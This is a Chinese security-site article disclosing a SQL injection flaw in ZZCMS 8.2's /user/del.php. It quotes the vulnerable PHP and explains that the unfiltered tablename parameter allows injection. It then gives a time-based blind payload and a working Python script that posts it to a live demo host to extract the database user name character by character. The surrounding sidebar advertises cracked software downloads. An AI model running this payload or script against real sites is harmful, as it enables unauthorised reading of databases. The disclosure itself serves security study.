ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → ZZCMS 8.2 SQL注入漏洞【黑客漏洞&网络安全漏洞】

ZZCMS 8.2 SQL注入漏洞【黑客漏洞&网络安全漏洞】

时间:2018-02-07 13:20:53人气:作者:本站作者我要评论

通过白盒审计工具,发现 /user/del.php 存在SQL注入漏洞

代码位置: /user/del.php 12行,获取参数。

由于存在checkid() 导致 $id无法进行注入,checkid()

<?php
include("../inc/conn.php");
include("check.php");
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
</head>
<body>
<?php
$pagename=trim($_POST["pagename"]);
$tablename=trim($_POST["tablename"]);
$id="";
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){
checkid($_POST['id'][$i]);
$id=$id.($_POST['id'][$i].',');
}
$id=substr($id,0,strlen($id)-1);//去除最后面的","
}

if (!isset($id) || $id==""){
showmsg('操作失败!至少要选中一条信息。');
}

switch ($tablename){
case "zzcms_main";
if (strpos($id,",")>0){
$sql="select img,flv,editor from zzcms_main where id in (".$id.")";
}else{
$sql="select img,flv,editor from zzcms_main where id ='$id'";
}

代码位置:/inc/function.php  49行

function CutFenGeXian($str,$xian){
for($i=0; $i<substr_count($str,$xian);$i++){
if (substr($str,-1,1)==$xian){//去最后一个|
$str=substr($str,0,strlen($str)-1);
}
if (substr($str,0,1)==$xian){//去第一个|
$str=substr($str,1);
}
}
return $str;
}

function checkid($id,$classid=0,$msg=''){
if ($id<>''){
if (is_numeric($id)==false){showmsg('参数 '.$id.' 有误!相关信息不存在');}
elseif ($id>100000000){showmsg('参数超出了数字表示范围!系统不与处理。');}//因为clng最大长度为9位
if ($classid==0){//查大小类ID时这里设为1
if ($id<1){showmsg('参数有误!相关信息不存在。\r\r提示:'.$msg);}//翻页中有用,这个提示msg在其它地方有用
}
}
}

在switch() 分支中不存在SQL注入就不展示代码了。在后面代码中 135行 发现存在SQL注入问题。

$tablename 可控,可以进行SQL注入。由于$tablename 所在位置无需闭合引号和CMS过滤大于号和小于号(转换为实体),拼接为 select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1; 拼接成如此的SQL语句可以完成注入。

漏洞利用 :

测试payload:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23

测试结果如图。

ZZCMS 8.2 SQL注入漏洞【黑客漏洞&网络安全漏洞】

POC:

用python完成POC进行批量漏洞利用,猜测用户名的第一个字符。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ''
for i in range(1, 2):
for payload in payloads: #遍历取出字符
startTime = time.time()
post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"} )
if time.time() - startTime > 5:
user = payload
print 'user is:', user
break
print '\n[Done] current user is %s' % user

ZZCMS 8.2 SQL注入漏洞【黑客漏洞&网络安全漏洞】

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网